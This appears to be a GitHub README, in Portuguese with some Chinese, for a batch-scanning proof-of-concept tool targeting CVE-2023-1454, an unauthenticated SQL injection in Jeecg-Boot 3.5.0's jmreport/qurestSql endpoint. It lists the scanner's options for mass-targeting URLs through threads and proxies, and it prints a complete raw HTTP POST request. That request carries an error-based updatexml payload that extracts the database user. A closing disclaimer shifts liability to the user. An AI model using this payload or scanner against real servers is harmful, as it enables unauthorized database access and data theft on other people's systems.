sweelg/cve-2023-1454-jeecg-boot-qurestsql-sqlvulnjmreport/qurestSql POC de varredura em lote para injeção SQL não autorizada. O Jeecg-Boot é uma plataforma de desenvolvimento rápido baseada em Spring Boot e Jeecg-Boot-Plus. Na versão mais recente do jeecg-boot 3.5.0, várias vulnerabilidades de injeção SQL foram descobertas.
jmreport/qurestSql 未授权SQL注入批量扫描poc Jeecg-Boot é uma plataforma de desenvolvimento rápido baseada em Spring Boot e Jeecg-Boot-Plus. A versão mais recente, jeecg-boot 3.5.0, foi descoberta com múltiplas vulnerabilidades de injeção SQL.
usage: CVE-2023-1454.py [-h] [-u URL] [-f FILE] [-t THREAD] [-T TIMEOUT] [-o OUTPUT] [-p PROXY]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL alvo (ex: url.txt)
-f FILE, --file FILE Arquivo alvo (ex: url.txt)
-t THREAD, --thread THREAD
Número de threads (padrão 5)
-T TIMEOUT, --timeout TIMEOUT
Tempo limite da solicitação (padrão 3)
-o OUTPUT, --output OUTPUT
Arquivo de saída de URLs vulneráveis (ex: result.txt)
-p PROXY, --proxy PROXY
Proxy da solicitação (ex: http://127.0.0.1:8080)
poc：
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Content-Length: 128
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
Quaisquer consequências ou perdas diretas ou indiretas causadas pela disseminação ou uso das informações fornecidas neste documento são de responsabilidade exclusiva do usuário. O autor não assume nenhuma responsabilidade por isso.